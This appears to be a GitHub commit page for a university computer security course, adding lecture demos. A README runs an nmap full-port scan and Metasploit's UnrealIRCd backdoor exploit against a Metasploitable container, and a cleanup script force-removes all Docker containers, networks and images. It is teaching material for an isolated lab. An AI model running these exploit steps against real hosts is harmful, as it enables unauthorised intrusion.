Skip to content

Commit

Permalink
end of semester
Browse files Browse the repository at this point in the history
  • Loading branch information
ThierrySans committed May 22, 2018
1 parent eb19e9b commit a329c7f
Show file tree
Hide file tree
Showing 16 changed files with 98 additions and 129 deletions.
Binary file modified lectures/03/CSCD27-SymmetricProtocols.pdf
Binary file not shown.
2 changes: 1 addition & 1 deletion lectures/05/demo/docker-compose.yml
Expand Up @@ -15,7 +15,7 @@ services:
image: attacker
container_name: mallory
restart: always
network_mode: service:alice # Examine traffic of service bob
network_mode: service:alice
tty: true

networks:
Expand Down
14 changes: 14 additions & 0 deletions lectures/08/demo/README.md
@@ -0,0 +1,14 @@
### metasploitable and open-vas

docker-compose up

### nmap

nmap -p0-65535 -sV -O 10.0.0.2

### metasploit

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf > show options
msf > set RHOST 10.0.0.2
msf > exploit
7 changes: 7 additions & 0 deletions lectures/08/demo/clean.sh
@@ -0,0 +1,7 @@
#!/bin/bash

docker stop $(docker ps -a -q)
docker rm -f $(docker ps -a -q)
docker network rm $(docker network ls -q)
docker volume rm $(docker volume ls -f dangling=true -q)
docker rmi $(docker images -f dangling=true -q)
36 changes: 36 additions & 0 deletions lectures/08/demo/docker-compose.yml
@@ -0,0 +1,36 @@
version: '3'

services:
metasploitable:
build: ./metasploitable
image: metasploitable
container_name: metasploitable
tty: true
networks:
channel:
ipv4_address: 10.0.0.2

metasploit:
build: ./metasploit
image: metasploit
container_name: metasploit
tty: true
networks:
channel:
ipv4_address: 10.0.0.3

openvas:
image: mikesplain/openvas
container_name: openvas
ports:
- "443:443"
networks:
channel:
ipv4_address: 10.0.0.4

networks:
channel:
driver: bridge
ipam:
config:
- subnet: 10.0.0.0/24
4 changes: 4 additions & 0 deletions lectures/08/demo/metasploit/Dockerfile
@@ -0,0 +1,4 @@
FROM strm/metasploit:latest

CMD /bin/bash

6 changes: 6 additions & 0 deletions lectures/08/demo/metasploitable/Dockerfile
@@ -0,0 +1,6 @@
FROM meknisa/metasploitable-base:latest

COPY ./init.sh /root/init.sh

CMD /root/init.sh

5 changes: 5 additions & 0 deletions lectures/08/demo/metasploitable/init.sh
@@ -0,0 +1,5 @@
#!/usr/bin/env bash

/usr/bin/unrealircd

/bin/bash
Binary file added lectures/09/CSCD27 Protection.key
Binary file not shown.
Binary file added lectures/09/CSCD27-Defences.key
Binary file not shown.
3 changes: 3 additions & 0 deletions lectures/09/demo/Dockerfile
@@ -0,0 +1,3 @@
FROM ubuntu

RUN apt-get update && apt-get install gdb gcc-multilib libssl-dev python -y
3 changes: 3 additions & 0 deletions lectures/09/demo/run.sh
@@ -0,0 +1,3 @@
#!/bin/bash
gcc /shared/test.c -o /shared/test -fno-stack-protector -m32
objdump -d -M intel /shared/test > /shared/test.x86
19 changes: 19 additions & 0 deletions lectures/09/demo/test.c
@@ -0,0 +1,19 @@
#include <stdio.h>
#include <string.h>

int foo2(int *i, char *s){
//printf("%d", *i);
char buffer[10];
//strcpy(buffer, s);
//printf("%s", buffer);
}

int foo(){
int i = 8;
char *s = "hello";
foo2(&i, s);
}

int main(int argc, char **argv){
foo();
}
Binary file modified lectures/10/CSCD27-MaliciousSoftware.key
Binary file not shown.
113 changes: 0 additions & 113 deletions tutorials/10/README.old

This file was deleted.

15 changes: 0 additions & 15 deletions tutorials/10/vuln.c

This file was deleted.

0 comments on commit a329c7f

Please sign in to comment.